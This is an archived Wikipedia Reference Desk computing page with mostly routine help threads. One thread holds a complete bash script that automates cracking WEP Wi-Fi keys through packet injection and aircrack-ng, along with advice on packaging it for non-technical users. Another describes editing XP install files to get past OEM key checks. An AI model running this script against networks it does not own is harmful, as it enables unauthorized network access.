The best answers address the question directly, and back up facts with wikilinks and links to sources. Do not edit others' comments and do not give any medical or legal advice.
My favorite Slackware Linux is installed in the partition /dev/sda7. Recently I have split a partition that came before /dev/sda7 into two, hence pushing /dev/sda7 into /dev/sda8. I have remade a LILO bootdisk to bootup /dev/sda8, however, I find that when I try to boot the computer still looks for the root partition on /dev/sda7, which is now an NTFS partition.
I am wondering if there's anyway of getting /dev/sda8 to boot properly.
Well, there's two steps to changing the "root" partition that lilo looks for. First, you'll need to edit your 'lilo.conf' file, which is probably in /etc. If it's on the bootdisk, I'm not sure where it would be. Find the entry for Slackware, and make sure to change the line that says "root=/dev/sda7" to sda8. Once you're done, save the file. If you're running this from a bootdisk, change to the superuser if you aren't already, and run "lilo". That's the second step, and it actually applies the changes. I could be wrong on some of the details, it's been a while since I used a dedicated LILO bootdisk. Just let us know if that doesn't help. Indeterminate (talk) 02:12, 3 June 2009 (UTC)[reply]
I ran into a most unexpected problem: My Linux box is refusing to recognizing partitions above /dev/sda15! (I use a SATA drive)
I googled the problem and it was suggested that /dev/sda16 is actually /dev/sdb. I tried to mount /dev/sdb, also /dev/sdb1 to /dev/sdb15, all are useless.
I'm wondering if there is anyway of getting Linux to mount /dev/sda16 and higher partitions?
Linux only allows 16 (0-15) SCSI block devices. The SATA devices use a SCSI interface. If you look at the major and minor mode numbers of /dev/sda15, you'll see it is 8,15, and that /dev/sdb is 8,16. That's probably where you're seeing the suggestion to use sdb. Offhand, I can't think of how you could create a 16th partition on a SATA disk and use it in linux, other than use LVM instead of partitions. -- JSBillings18:19, 1 June 2009 (UTC)[reply]
Thanks, that's what I found out on Google too. Apparently Linux is using SCSI for SATA, which has the stupid 15 drive limit. This makes me feel so angry. Normally things should work in Linux and not in Windows, not the other way around. Well, guess there's nothing I can do about it until they come out with a new libata or something. 70.31.158.159 (talk) 21:23, 1 June 2009 (UTC)[reply]
Although by no means a true solution for this problem, have you considered using LVM? In its simplest form, you can allocate an entire drive (minus maybe the /boot and / partitions) as a large physical volume, which can then be cut into as many logical volumes as needed (I'm not sure what the hypothetical maximum is, but I'm positive it's greater than 16). --Link(t•c•m)11:36, 4 June 2009 (UTC)[reply]
Compile interpretive language
Script
#!/bin/bash#Checks for and promps for dataecho"Please wait"AIRESSID=$3if[x$1=x];thenecho"BSSID?"readAIRBSSID
elseAIRBSSID=$1fiif[x$2=x];thenecho"Channel?"readAIRCHANNEL
elseAIRCHANNEL=$2fiif[x$4=x];thenAIRTIME=3m
elseAIRTIME=$4fi#Start the wireless interface in monitor mode on the specific AP channel
sudoifconfigwlan0down>null
sudoairmon-ngstartwlan0$AIRCHANNEL>null
sudoiwconfigwlan0channel$AIRCHANNEL>null
#Use aireplay-ng to do a fake authentication with the access pointif[$AIRESSID=];thensudoaireplay-ng-10-a$AIRBSSID-h00:00:00:00:00:00mon0&gnome-terminal-xsudoaireplay-ng-16000-o1-q10m-a$AIRBSSID-h00:00:00:00:00:00mon0&elsesudoaireplay-ng-10-a$AIRBSSID-e$AIRESSID-h00:00:00:00:00:00mon0&gnome-terminal-xsudoaireplay-ng-16000-o1-q10m-e$AIRESSID-a$AIRBSSID-h00:00:00:00:00:00mon0&fi#Start airodump-ng on AP channel with a bssid filter in a new window to collect the new unique IVs
gnome-terminal-xsudoairodump-ng-c$AIRCHANNEL--bssid$AIRBSSID-w/home/User/output/outputmon0&#Start aireplay-ng in ARP request replay mode to inject packets in new window
gnome-terminal-xsudoaireplay-ng-3-b$AIRBSSID-h00:00:00:00:00:00mon0&#waits while airodump gathers dataecho"Please wait"$AIRTIME
sleep$AIRTIME#Run aircrack-ng to crack key using the IVs collected
sudoaircrack-ng-z-b$AIRBSSID/home/User/output/output*.cap
#Stops the WiFi card and brings it back up for use by the user.
sudoairmon-ngstopmon0>null
sudoifconfigwlan0down>null
This relates to my last question here (to which i would like to say thank you to those who helped). Is there away to compile this script(the one above) and the programs it uses in to a nice little stand alone program?
The reason this would be difficult is because you are calling several external programs. Unless those programs have available source code, it will be hard to link them into a single binary (I don't know if it's impossible to link an existing executable, but it isn't standard practice). Usually, linking occurs on object files, which would require source to build. Nimur (talk) 07:30, 1 June 2009 (UTC)[reply]
I'm not sure what the problem is. Is it that you want the script to run faster? Or is it that you want to make a single packaage that includes everything that's used? Or do you just not want people to see what's in the scripts? Personally I tink having a script like thaty is the best way to deal with something like this. I'd probably go for python but that is also an interpreted scrfipt and would involve even more dependencies! Dmcq (talk) 11:48, 1 June 2009 (UTC)[reply]
Comeau Computing, which makes some well-regarded C and C++ compilers, has ccsh, which turns Bourne shell code into C, which you can then compile. It won't link in executables called by your program, as far as I know (I don't know if that's even possible). --Sean13:10, 1 June 2009 (UTC)[reply]
The source to these programs are available. What i am trying to do is make a nice little package that a not-so-tech-savvy person could use. And inevitable I'd like to build an automatic live CD similar to ophcrack but dealing with wifi instead. —Preceding unsigned comment added by Smileyhill (talk • contribs) 15:39, 1 June 2009 (UTC)[reply]
You can design a graphical front-end without merging the external programs together. A lot of graphical front-ends exist for command-line utilities. If you are writing a program in C, for example, you can use the exec("some_cmd_line_prog"); command to execute anything as if you were on the command line. Nimur (talk) 14:46, 2 June 2009 (UTC)[reply]
Restoring one PC with the restore disk of another
Here's the problem: My daughter's PC won't boot (Win XP professional, HP laptop). Starts booting, XP logo shows, then reboots, and reboots... It is heavily malware-infested. The hard-disk was ok, I backed up her files using Knoppix, and created a disk image with Partimage. Then installed Ubuntu (which, to my mind worked flawlessly), but she wasn't happy with the solution. So I've written back the old unbootable partition, and we're back to square one. I read a while ago here about the clamavlive CD, so I tried that too (found and deleted 17 infected files), but the PC still won't boot. I've also tried safe mode, of course, identical symptoms. I've also tried re-installing win XP with an original XP disk and her activation key, but the installation program reports that the activation key is invalid.
Here's my proposed solution: The PC was bought through her school (which she now has left). Her former classmates have identical PC's. I assume that there is a menu item somewhere for creating a restore CD/DVD. If we created a restore CD on one of their PCs, would that CD be usable for restoring her PC, or would it already be customized with the activation key of the friend's PC, resulting in both PC's having the genuine advantage of being listed as pirated? I know the activation key is stored in a separate file (somewhere in \windows\system32, I think), would copying this file avoid any such problems?
I'm not aware of any support solutions that allow users to make their own restore disks, but I may have a way around the infinite rebots. XP has a stupid response to BSODs - it reboots. So if it's during the booting process it gets stuck in an infinite reboot loop. You can, however, turn this "feature" off by pressing F8 during booting (same place where you choose safe mode), and then at least you get to see what the BSOD is about. But in general if you can't even get into safe mode it's probably a waste of time to fix. --antilivedT | C | G11:27, 1 June 2009 (UTC)[reply]
I think it's pretty common these days to put a recovery partition on the hard drive with the option to burn CDs. It's cheaper than shipping them. Obviously pressed recovery CDs are not keyed to a particular machine, and I assume burned CDs are the same, though I've never used them. It would be less of a support hassle that way. You don't need CDs for this, though, if the recovery partition is intact—are you sure there isn't a recovery process you can trigger in the BIOS?
I don't see why the XP disk would claim your key is invalid. If it came with the PC then it should work perfectly well for a clean XP install. If it doesn't then complain to HP or whoever is supposed to provide your tech support (the university IT people?). -- BenRG (talk) 14:19, 1 June 2009 (UTC)[reply]
There was no extra partition. I'll have a second look with knoppix if I can find any candidate files (.iso's, or large files/directories with names suggesting that they may be what I'm looking for). I used an installation CD that I bought separately, for a different PC. I think the reason the installation program rejected the activation key, is that the PC was OEM'ed to HP, whereas my installation CD was not linked to any particular system (and has its own activation key, that I'm saving for a PC that I'll buy shortly). We had a thread here some weeks ago where someone said that such combinations could lead to activation keys not being accepted. --NorwegianBluetalk15:15, 1 June 2009 (UTC)[reply]
Note that the recovery partition won't necessarily be visible from Linux (or Windows) because the BIOS may use low-level trickery to hide it before starting the boot process. I'd forgotten about the OEM versus retail problem. You can change a retail into an OEM disk by editing setupp.ini, as described here for example. -- BenRG (talk) 15:49, 1 June 2009 (UTC)[reply]
Thanks but no thanks, 82.44.54.169. I don't think anyone here will want to try that one. According to the second google hit, it contains a trojan, there are no sites that I'd want to download executables from among the first several google hits, and of course no source code. --NorwegianBluetalk13:56, 1 June 2009 (UTC)[reply]
Well I tested it in a virtual machine before I used it on my computer, no problems so far going on two months. But I fully understand if you don't wanna use it for license reasons, I'm just saying I'm not trying to peddle trojans here. —Preceding unsigned comment added by 82.44.54.169 (talk) 14:07, 1 June 2009 (UTC)[reply]
No offense intended! I'm pretty paranoid about what I download, and would never download an executable that I didn't even know the origin of. --NorwegianBluetalk14:35, 1 June 2009 (UTC)[reply]
lol fair enough. From what I recall each vendor has their own way to creating the recovery cds. Some prompt the user after a few days, and others only allow one recovery cd to be made before the option is disabled automatically. —Preceding unsigned comment added by 82.44.54.169 (talk) 14:55, 1 June 2009 (UTC)[reply]
The easiest way to deal with a drive that won't boot is to attach is as a second drive to another machine. Because it's a laptop, you'd need to invest $4 to $8 in a cable to adapt from the smaller laptop pin configuration. Run a variety of virus and spyware removers against the sick drive. Don't forget that when you made the disk image, you included all the infections...one of which may have been a RootKit virus. Malwarebytes and RootRepealwould be my top choices for the scanning.
The original CD that came with the laptop would be the one to use. There should be TWO setup.exe files on the CD, one in the root and one inside the Windows folder. One is for new installations, the other for over-writing an existing one. One will accept the existing key, the other not.(Sorry, I don't have mine here to check for you).From memory, try the one inside the Windows folder first.
IF you get it going, immediately go to Control Panel - System - Startup&Recovery Settings, and turn off "Restart automatically" on system failure. It is best to keep this setting off on all Windows machines. KoolerStill (talk) 15:13, 1 June 2009 (UTC)[reply]
Thanks. Sorry for not stating explicitly that the XP installation CD I used did not come with the laptop (see my reply to BenRG above for details). I do understand that the disk image contains the malware, and I much prefer a fresh install to a malware removal in these circumstances, hence my original question. --NorwegianBluetalk15:30, 1 June 2009 (UTC)[reply]
Update: I've tried BenRG's suggestions. There was no BIOS/Setup option for re-installing. I created two XP install CD's where setupp.ini was modified according to the link BenRG provided (using a binary editor directly on the .iso). The first (where OEM at the end of the "ExtraInfo" line was replaced by "270") behaved identically to the OEM CD. The second (where OEM was was replaced by "335"), offered the possibility of repairing an existing installation, in addition to a fresh install. At this point, however, the disk contained an interrupted install with the "270"-disk. In this setting, the installation program reported that the CD key was invalid. It's late here, so I'll have to continue later, but the result was somewhat promising. I'll try and reinstall the malware-infested disk, and repeat with the "335"-XP-install disk, and see if the activation key is requested/accepted then. Thanks. --NorwegianBluetalk20:58, 1 June 2009 (UTC)[reply]
Query String and Anchor in URL
From memory, the HTTP standard does not allow for a query string (?...) and an anchor (#...) in a single URL. Therefore, http://mysite.com?foo=bar#abc is invalid as well as http://mysite.com#abc?foo=bar. Has there been any development in standardizing the inclusion of both in a single URL or is it still one of those "If the browser supports it, write for one browser" sort of things? -- kainaw™14:47, 1 June 2009 (UTC)[reply]
I don't think that's correct - I believe your first example was valid and standard-compliant. This forum references IETF RFC 2396, and states that the fragment identifier (#foo) gets truncated first, and the rest of the URI is then parsed. I think most web browsers use these semantics for parsing web URLs. For example, see this link, which can use a fragment identifier and a query string. Nimur (talk) 15:08, 1 June 2009 (UTC)[reply]
Thanks. I am making up slides for a talk and I will correct them to show that the ...?...#... form is proper. -- kainaw™15:37, 1 June 2009 (UTC)[reply]
I have a template email that I use alot that is formatted in arial. I keep it stored in a word file, and when i need to use it i cut and paste it into a new email in outlook. everytime i paste, the text: "Monday through Friday, 9AM to 5PM Eastern Standard Time." comes out as times new roman, and i'm really tired of wasting my time reformatting that one line of text everytime I use this email. how can i fix this so it just pastes in arial like its supposed to? --Shaggorama (talk) 16:14, 1 June 2009 (UTC)[reply]
There may be a blank area between the main text and the troublesome line, which is formatted in Times Roman. Coupled with a glitch in Outlook that doesn't pick up the change back to Arial.So in the original, highlight the entire template document, change it something else, then change it back to Arial. This guarantees only one font instruction for the whole text. If the troublesome line is in a footer, move it out into the main body of the document and remove the footer. KoolerStill (talk) 23:14, 1 June 2009 (UTC)[reply]
Nicely done: you sir are a gentleman and a scholar. Thank you kindly for saving me about 15 seconds on each of hundreds of emails I need to send out (that shit adds up fast!). I only wish I'd asked a month ago. --Shaggorama (talk)
Hey...so turns out that only worked temporarily for some reason. There appears to be some sort of autoformat acting on the text on the clipboard. I suspect it has something to do with the date words (monday, friday). --Shaggorama (talk) 17:42, 2 June 2009 (UTC)[reply]
Sorry the first line of defence wasn't permanent. It is a known Word/Outlook conflict problem. There are two workarounds on the Microsoft site which may be relevant. One is to be sure to use Web Options fonts, the other to change the Outlook defaults. A third (and probably faster) solution would be to store it, nicely fixed, as a Draft. You can copy and paste it from there.
If you are sending the identical mail to many recipients, why do them individually? Send it to yourself as main recipient, and BCC (blind copy) it to everyone else. If the recipients are listed in a named Group, you only need enter the Group name. OR open the file in Word, choose File,Send to,Mail Recipient, and send it directly out of Word (it uses the Outlook settings).KoolerStill (talk) 08:56, 6 June 2009 (UTC)[reply]
Anonymous delegate methods in C#
In C#, it's possible to use anonymous delegate methods this way:
This will output "Hello world!". But is it somehow possible to use the already defined delegate type name instead of repeating the definition, like this?
In Buddy memory allocation it states that - "...was independently developed by Knowlton ".
Does anyone know more specifically who Knowlton was, ie a first name..
Also as an aside - for a compiled language - with dynamic variables - is it almost certain that buddy memory allocation will be used for these variables? Also do (some) languages actually specify data allocation types, or is it up to the compiler writer more generally? Also are there any more memory allocation mechanisms apart from the two mentioned at Dynamic memory allocation? Thanks77.86.10.194 (talk) 19:19, 1 June 2009 (UTC)[reply]
I'm just writing this as a Googler and not a subject matter expert, but at this Google Book page, I searched for "Knowlton" and on page 85, it says, The (binary) buddy system was originally described by Knowlton [11,12]. Footnotes 11 and 12 in that book are for a Kenneth C. Knowlton for two articles in Communications of the ACM, from 1965 and 1966. We have an article Ken Knowlton who's a computer science pioneer; I will bet they're the same individual. Tempshill (talk) 19:25, 1 June 2009 (UTC)[reply]
Difference between language itself and standard library
In a compiled, structured, statically-typed language such as C, I've always instinctively understood the distinction between the "language itself" and its standard library. But both are officially a fundamental part of the language as a whole. How to make a formal distinction between them?
For simplicity's sake, consider only C. As an example, the "language itself" includes operators such as +, =, ->, sizeof and so on, and constructs like if, while, return and so on. The standard library, however, consists of, for example, functions like printf, strlen and so on, and headers such as >stdio.h, string.h and so on.
The distinction I know instinctively is that modifying the "language itself" involves modifications to the language's parsing and tokenisation rules, but modifying the standard library merely involves modifying the library files supplied with the compiler. However, both are equally defined as standardised, and at least in case of C, the standard allows the standard library to be "magical" - i.e. not actually included as separate library files, but handled internally by the compiler itself. Is there a formal distinction between the two, or do I simply have to use the instinctive distinction I mentioned above? JIP | Talk20:29, 1 June 2009 (UTC)[reply]
Your instinctive distinction is pretty much on the money. However, in practical terms, the standard library is a 'lesser' part of the standard than the language specification itself...it's kinda optional.
The standard library isn't necessarily present in all implementations - and if you don't want to use it, you can certainly exclude it from the linking stage and everything should still be OK. In other words, the compiler shouldn't make calls to the standard library 'behind the scenes' unless you tell it to. In C, for example, if you are writing code for some tiny little embedded microcontroller (something like the Arduino computers I'm using in refurbishing my home-made CNC milling machine) there may not be a standard library implementation at all. In the case of the Arduino, it has so little RAM and ROM/flash that being stuck with the standard library would literally leave you no room for your own program...and on a machine with no screen, no keyboard and no disk drives, it makes very little sense to have all of that I/O stuff lying around. Hence, no printf and probably no strlen either. However, on a 'normal' computer - you have a reasonable expectation that the standard library exists - and if it does exist, that it conforms to the standard.
Even in C, the standard library isn't allowed to be all that magical. I certainly can deliberately omit to '#include <stdio.h>' - and then proceed to write my own function called 'printf' that does whatever crazy thing I want it to do.
However, for the language to be called "C" - even on some pathetic little microcontroller, you should be able to assume that all of the LANGUAGE features are there. But - of course - there are often liberties taken with that on teeny-tiny machines. For example, I can tell the version of GCC that compiles C for the Arduino to disallow all floating point operations in order that the floating point emulation library isn't compiled into my code (which is just as well because it takes up about half of the poor things' memory!)...however, when you do that, what you have is an incompatible C subset...not a proper implementation of the C language.
But this distinction is pretty minor - if you have Windows, Mac, Linux, Solaris or BSD - any mainstream computer with a proper operating system, then you have every right to assume that the standard library is there and works exactly like the specification says it does.
Be careful defining printf() yourself — C99 says that all standard library identifiers with external linkage must be the only things with such linkage, regardless of #includes. Apparently you're safe if you keep them internal, but I'm not entirely sure that standard headers aren't allowed to implicitly include other standard headers for you. --Tardis (talk) 20:01, 2 June 2009 (UTC)[reply]
In C, the distinction is there, but as Steve says really everything in C is optional (and as all sane C programs are system programs and all real system programming environments are one kind of weird or another) then the distinction is blurred. In practice it's more so; the "preprocessor" used to be a real thing, now it's subsumed into the lex parse of any serious C compiler (so sizeof is a compiler intrinsic, and really neither a preprocessor nor library object). memcpy() should formally be in the library, but many compilers (certainly gcc and msc++) just inline it, and the syntax phase of gcc knows all kinds of stuff about the format arg of printf that really break the notion of a formal boundary between it and the actual gnu libc implementation. Things are similarly incestuous in memory allocation land, and setjmp/longjmp (which knows things about how the compiler lays out stack frames that a mere library has no business knowing). Things in Java re much more incestuous (and I'd be surprised if C# is any different); java.lang is either implemented in C or is just part of the VM (and really there aren't genuine .class files or in-memory class objects for it, although the reflection API will fake java.lang.reflect.Class objects for things if you ask it), and the intimacy extends into java.util, java.util.event, subpackages of java.lang, and a bunch of native stuff; JNI acts as a cordon sanitare for the native C/C++ stuff that implements natives for other core java things like AWT - without it all kinds of supposedly library stuff has to know details of the VM implementation (and vice versa). 87.114.167.162 (talk) 21:20, 1 June 2009 (UTC)[reply]
When writing code for small embedded processors (or softcore CPUs on FPGAs), it is common to have no room for the standard library in the instruction memory space (try fitting malloc() into 4 kilobits of .text memory!) If you ever have the (mis)fortune of working with one of these tiny processors, you will very quickly need to distinguish between language constructs and included libraries. Many "simple" operations will actually start linking in hundreds of kilobytes of external code. Further, some system libraries will provide features like floating-point software emulation which are so basic, you probably never even thought of them as residing outside the C language specification. (Floating point numbers are actually "required" by the ANSI C specification, but their implementation may require a system library if the hardware has no floating point unit. Then, the distinction between "language" and "library" gets very blurry). Nimur (talk) 14:59, 2 June 2009 (UTC)[reply]
How to get a new graphics card to work?
Okay, that title is kind of misleading, because I think the card is working, but I don't think it's working well...
My g/f has a Dell Inspiron 531s with Windows Vista installed. We recently upgraded both the RAM and graphics card. Now, it has 4 gigs of RAM and an NVIDIA GeForce 8400 GS (256 MB). Not the most high-end card in the world, but the selection was limited by the fact that it needed to be half-height due to Dell's "slimline" tower. We chose that card because the card on my computer is similar (GeForce 7600 GT 256 MB) and it handles World of Warcraft just fine with only 2 gigs of RAM. Also, the reviews for the 8400 GS included several people saying it handled WoW fine, and since that's her game of choice, we figured we'd be set.
Well, everything installed fine -- the monitor is plugged into the new output port and everything displays fine. I checked the device manager in Windows and confirmed that the new card showed up under display drivers. We also downloaded and installed the most up-to-date display drivers for her card. But WoW's performance hasn't improved any ... in fact, it seems about as it was before the upgrades, even with all the display settings turned all the way down. I'm not sure what the problem is, exactly. I'm not looking for it to be perfect, but I'd expect the performance on her machine to be at least about the same as on mine, especially with the additional RAM.
So, any suggestions on what might be wrong? The graphics card the computer came with is integrated into the motherboard, I believe, so I guess it's possible it may still be using that instead of the card in the PCIe slot. But if that were true, how would things display at all with the monitor plugged into the new graphics card port? Also, I tried going into the BIOS, but I don't see any option to disable the onboard graphics adapter.
If there's no option to disable the onboard video, generally that means the motherboard logic will disable it if it sees a valid looking videocard in the PCIe slot. I'd check the GeForce control panel thing and make sure it's not overriding the WoW settings (I don't have one to hand, but they do have a bunch of complicated settings in there for who gets priority, and it's almost always sensible to let the application decide. Are you driving the monitor (which I presume is an LCD) at its native resolution ? - try changing (upping) the resolution - sometimes you end up forcing the graphics card to run at a resolution or in a mode for which it isn't suited (forcing it to fall back to slower operations). Now see if it's set with frame-sync (vsync) on; if so, try turning it off (vsync should merely limit the frame rate to the monitor's already very high rate, but occasionally the handshake can mess up and you're left with a weirdly slow framerate). Remove any KVM switch you may have between the PC and the monitor, as this can mess up the VESA/DDC communication between the two, making for weird settings. Force the display driver and wow to restore to defaults. If all else fails, uninstall the driver, reboot (probably twice), then reinstall the official nVidia driver (not the one that came with your card).
Of course, all of the above assumes that the problem has anything to do with the video (rather than it just being where you're seeing it); verify that (both with and without WoW) that there aren't any suspiciously cpu-eating processes showing up in the task manager. 87.114.167.162 (talk) 23:07, 1 June 2009 (UTC)[reply]
Thanks for those suggestions -- I'll try what you suggested. You did say one thing, though, that went over my head (due to a general ignorance of hardware matters): Remove any KVM switch you may have between the PC and the monitor... Could you explain what that means? I'm not sure what a KVM switch is... Dgcopter (talk) 23:40, 1 June 2009 (UTC)[reply]
I second the advice to reinstall the device drivers, but completely uninstall all nVidia drivers first, reboot, reboot again, install the new ones, reboot yet another time and all should be well. WoW really isn't a GPU intensive game though, personal experience and much lurking on the WoW forums lead me to beleive the CPU has a much larger impact on performance than any other component of your system. What kind of frame rates are you seeing though? Dalaran on a busy day and full on 25 man raid combat will slow just about any system down! 161.222.160.8 (talk) 23:45, 1 June 2009 (UTC)[reply]
I'll try the uninstall/reinstall trick. Regarding the framerate -- not sure, as I haven't witnessed the performance of her computer first-hand since she we installed the new card & RAM (was only a couple of days ago). My computer manages a fine framerate even in Dalaran and on 25-man raids -- I haven't bothered to check to see how much exactly, but it's not noticeably slower in those situations than anywhere else. I think our computers have similar CPUs, but I could be wrong. Dgcopter (talk) 00:00, 2 June 2009 (UTC)[reply]
Hate to break it to you but the 8400 you have bought is actually a little slower than the 7600 GS that you previously had. The majority of the 8 series cards were actually pretty awful for their numbers, except the 8800 series. Refer to this for a source - Tomshardware benchmarks. Nontheless I can recommend some things to do with WoW - if any addons are installed see if you can find lighter replacements, for instance if you use Questhelper or Carbonite you could replace it with LightHeaded and Doublewide ( here ). Also try turning shadows and view distance down, these seem to be the biggest FPS killers in the game. Gunrun (talk) 09:12, 2 June 2009 (UTC)[reply]
To clarify, I didn't replace the 7600 with the 8400. The 7600 is currently in my own computer. The 8400 is in my girlfriend's, which is definitely an upgrade from the 64 MB integrated POS that the machine came with (don't remember the brand at the moment). Dgcopter (talk) 14:01, 2 June 2009 (UTC)[reply]
Why not post this issue on the WoW technical forum? There are people there far more qualified to help with this kind of problem. BTW I think you should have spent a little more on at least the 8600. Sandman30s (talk) 20:05, 2 June 2009 (UTC)[reply]
June 2
Microsoft Excel
Does anyone know if Excel has some type of function to (easily) achieve what I am looking for? Let's say that I have a spreadsheet. I am recording data for 4 people for 7 days of the week. (This is just an example that I am greatly simplifying for purposes of this question.) Therefore, my (example) spreadsheet goes 7 columns across (Sunday, Monday, Tuesday, etc.) ... and it goes 4 rows down (for Person A, Person B, Person C, etc.). So, it basically looks like this.
Name
Sun
Mon
Tue
Wed
Thu
Fri
Sat
Ann
100
78
88
102
98
103
97
Bob
65
88
23
78
91
77
90
Cal
29
44
89
12
11
99
63
Deb
33
77
95
38
72
43
52
Now, after I have completed the spreadsheet --- and entered a ton of data --- I decide that I want to "switch" the rows for columns, and vice versa (the columns for rows) ... so that the spreadsheet looks like this. (For this fake spreadsheet, the numbers here are all fake ... and do not correctly correspond from the first spreadsheet to the second ... I just typed in any values.)
Day
Ann
Bob
Cal
Deb
Sun
100
78
88
102
Mon
65
91
77
90
Tue
12
11
99
63
Wed
33
77
95
52
Thu
83
67
43
12
Fri
34
71
25
88
Sat
71
70
86
28
Does Excel have some easy way to do this switch? Or do I need to construct / design a whole new spreadsheet from scratch? I only know the very basics of Excel -- nothing fancy or intricate -- so please keep answers pretty basic without a lot of foreign concepts / technical jargon. Thanks. (Joseph A. Spadaro (talk) 03:03, 2 June 2009 (UTC))[reply]
Try copying the original table, click "paste special" and check the "transpose" checkbox, Excel will paste the values transposed. It should work, unless I misunderstood your problem. 93.108.139.109 (talk) 13:19, 2 June 2009 (UTC)[reply]
This all depends on what sort of documents you are printing, and which model of printer. Full-page color photos will take a lot more ink than double-spaced black type (words only). You touch on an interesting question; there are many inkjet printers that are remarkably cheap, which are sold in the hopes that the manufacturer will make money by selling you inkjet cartridges. This link (an ink usage comparison of three printers) claims that if you multiply the ml capacity by the cost of some print cartridges, it appears the manufacturers are selling ink for US$5,000 to US$10,000 per gallon. If you Google "inkjet printing cost" you'll find articles like this one that try to compare laser printers vs. inkjet printers — they looked at a couple of laser printers and worked out that because of the higher cost of inkjet ink, it was about 8 times as expensive to use the inkjet, if you end up printing 40,000 pages. Tempshill (talk) 14:15, 2 June 2009 (UTC)[reply]
Say I wanted to print normal A4 with normal word margins, no paragraphs, just pure text, how many pages would I get from a 8ml ink cartridge? —Preceding unsigned comment added by 90.194.110.63 (talk) 14:59, 2 June 2009 (UTC)[reply]
The toner or ink coverage per page or the average per job; for color printing you need to know the coverage per color
The cost per page of other user replaceable items— most laser printer require a drum, transfer unit or waste toner unit
The cost per page of the printing media; i.e. paper
The cost of printer maintenance— some printers require that parts are changed on a regular basis, such as the fuser, transfer roller and feed rollers
The hard part is to calculate the coverage. I use a special laser printer to directly measure toner coverage. Without some similar tool, you would have to make a guess. The ISO/IEC standard for monochrome toner cartridge yield uses a page at 5% coverage. Heavier graphics increases the coverage and lowers the yield. ---— Gadget850 (Ed)talk21:09, 2 June 2009 (UTC)[reply]
parallel processing..........
I found that in year 2005/2006 January/February Examination,1 of the question is very difficult for me to answer it ...
can anyone give some point or information to me??
The question is : "With the aid of a diagram,explain how parallel processing affects the speed of computer processing?"
Hope got someone can help me to solve this question and show me the diagram that related to your information/points... i will feel appreciate to you... hope will get your reply soon... Thank you for viewingBebezaii (talk) 16:59, 2 June 2009 (UTC)[reply]
Have you read Parallel computing? There are lots of diagrams in that article. You might want to draw a Speedup plot, which usually shows the number of parallel nodes on the x-axis, and the resulting speedup (1 over the total execution time) for a test program. There are a few possible behaviors. No speedup means that the program is not parallelizable, and will have a flat line on this plot. Linear speedup means that the program is exactly parallelizable, and will have a diagonal line with slope 1. Superlinear or sublinear speedups are also possible, and indicate that the parallelization either created some new work or eliminated some work compared to the sequential program. Nimur (talk) 17:27, 2 June 2009 (UTC)[reply]
i now know need what diagram already... but i still confuse with the question... i ask my teacher already... she say need to explain how parallel processing affects the speed of computer processing.. minimum need 4 point with one diagram to support the 4 points... now my problem is dunno what is the point.... can anyone explain to me in the easy way.... or give me the answer and explain why you write the answer like this.. maybe in this way i can understand more easy.. Honestly,I got a presentation on next tuesday about this question.... i very scare now because i have to send my slideshow to my teacher after 2 days.. my time is getting short now... i wish someone can give me a hand to answer this problem.... i will appreciate the kindness people very much... i need done my slide show before this friday.. please help me to pass over my difficulty time at this movement... hope will get your reply soon... Thank you very much!!! —Preceding unsigned comment added by Bebezaii (talk • contribs) 03:33, 3 June 2009 (UTC)[reply]
English is not your first language, so let me explain as simply as I can. You know the expression "many hands make light work"? It means the same thing when many CPU's are used to do calculations together. Let's take a simple example - the work a CPU has to do to sort a list of data. Suppose the list contains 1000 rows - easy for one CPU to sort right? Now suppose it contains 1 BILLION rows - much more difficult for one CPU and it probably needs a lot of memory and temporary writes to disk etc. Now break that list down to a few million each and imagine lots of CPU's each doing their own sorts - then merging the list finally. That's the power and speed of parallel (many) computing. Sandman30s (talk) 07:15, 3 June 2009 (UTC)[reply]
o... is it means parallel processing affects the speed of computer processing is because it can break down the data into few part so the computer can sort the data easy and used less time to sort it,so the speed to sort the data is more faster than a computer sort the data without using parallel processing...then finally combine all the data to one again is it?? by the way i want to make sure one thing... parallel processing can also write as parallel computing right??is it the same?? i will waiting for your reply... thank you for the information!!
Sorting isn't the best example for parallel computing, since the end result requires a single sort. Perhaps a better example is a render farm. In the case of a render farm, you need to generate the animations for each frame of the movie. Since each task (rendering a frame) is independent of others, you can simply spread out the work across many different computers, and then assemble them together once they've all completed. That's an example of a very simple parallel process. Not all parallel computing is quite a simple as with a render farm (something we like to call Embarrassingly parallel). A lot of parallel programming requires communication between the individual units to proceed to the next step. -- JSBillings12:25, 3 June 2009 (UTC)[reply]
I beg to differ. Oracle uses the merge sort and its sorting of a large number of rows of a table is way faster with parallel processes. Each process sorts a portion of rows and the final result is NOT a sort - it is a merge of the sorted lists, which is where the merge sort algorithm gets its name from. Then the sorted list is written from temporary buffers where all the sorting happened, back into the tables (simplistic comment). I just gave as simple an example as I could think of. Rendering is another I suppose. Sandman30s (talk) 14:01, 3 June 2009 (UTC)[reply]
wow.. so many answer?? this make me feel more complicated already... i want to know is it parallel processing = parallel computing?? so that i got more confidence to answer when people ask me is it the same thing when i present it... according to the question(9 marks),it need one diagram(1 marks) and explain it with four point(each point 2 marks)... if you is me,how will u answer the question and what diagram will u get for the answer? i need support now... need to finish my slide show tonight,so please help me to answer tis question if u know how to answer it... honestly,i haven learn anything about parallel processing before... teacher ask us to find answer at internet with myself... now i really in trouble because the time is getting shorter and shorter... PLEASE HELP ME!!! >< please reply me as soon as possible please... Thank you very much!!
Parallel processing is not necessarily parallel computing. You can use time-slicing to get more parallel processes than the number of CPU's on your computer or server - this is "processing" where each "thread" does some work. Parallel computing can mean parallel processing, or using multiple computers to do a complex task. Also check supercomputer on a decades-old debate on vector systems versus massively parallel systems. The current thinking is to go massively parallel. It is common for modern supercomputers to use thousands of processors (not processes) in parallel. Sandman30s (talk) 14:10, 3 June 2009 (UTC)[reply]
Again, the original poster should read parallel computing. If that article is too difficult or uses words you don't understand, you can also try the Simple English version. Once you have the very basic concepts from those articles, let us know which points you are having difficulty understanding. Nimur (talk) 14:37, 3 June 2009 (UTC)[reply]
Upon loading my Desktop PC, desktop is loaded, AVG is up and running etc, after about 2 minutes it pops up that my firewall is not turned on or active and that my PC is at risk(potentially) Its XP SP3 but when i click on the balloon to "resolve" the problem it indicates that windows firewall is already on and running. Is there any reason it doesnt seem to load straight away or am i at any risks as i can run the internet for the 2 minutes before this problem flags up, or even run any non internet programmes. Thanks for any help --CorrectlyContentious 18:10, 2 June 2009 (UTC)
